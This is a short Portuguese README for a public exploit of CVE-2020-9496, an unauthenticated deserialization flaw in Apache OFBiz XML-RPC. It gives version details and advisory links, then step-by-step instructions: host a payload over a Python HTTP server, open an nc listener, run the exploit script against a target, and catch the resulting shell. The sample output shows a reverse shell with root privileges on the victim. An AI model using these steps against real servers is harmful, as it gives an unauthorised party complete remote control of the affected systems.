CVE-2020-9496

Como as 2 requisições relacionadas a xmlrpc no webtools (xmlrpc e ping) não usam autenticação, elas são vulneráveis a desserialização insegura.
Este problema foi reportado à equipe de segurança por Alvaro Munoz [email protected] da equipe do GitHub Security Lab.

Versão Afetada 17.12.01

Versões Corrigidas 18.12.01, 17.12.04

Blog Original: https://securitylab.github.com/advisories/GHSL-2020-069-apache_ofbiz/
Post da Apache: https://issues.apache.org/jira/browse/OFBIZ-11716
POC do Github: https://github.com/g33xter/CVE-2020-9496

Para fazer este exploit funcionar, você precisará seguir os seguintes passos:

Passo 1: Hospede um serviço HTTP com python3

> sudo python3 -m http.server 80

Passo 2: Execute o listener nc na porta desejada (Recomendado 8001)

> nc -nlvp 8001

Passo 3: Altere a URL e a Porta do site dentro do script:

url='https://127.0.0.1' # CHANGE THIS                                                         
port=8443 # CHANGE THIS

Passo 4: Execute o exploit como mostrado abaixo

> ./cve-2020-9496.sh -i IP -p PORT

Passo 5: Verifique o listener nc

❯ nc -nlvp 8001
listening on [any] 8001 ...
connect to [10.10.x.x] from (UNKNOWN) [10.10.x.x] 57500
bash: cannot set terminal process group (31): Inappropriate ioctl for device
bash: no job control in this shell
root@poc:/usr/src/apache-ofbiz-17.12.01# id
id
uid=0(root) gid=0(root) groups=0(root)
root@poc:/usr/src/apache-ofbiz-17.12.01#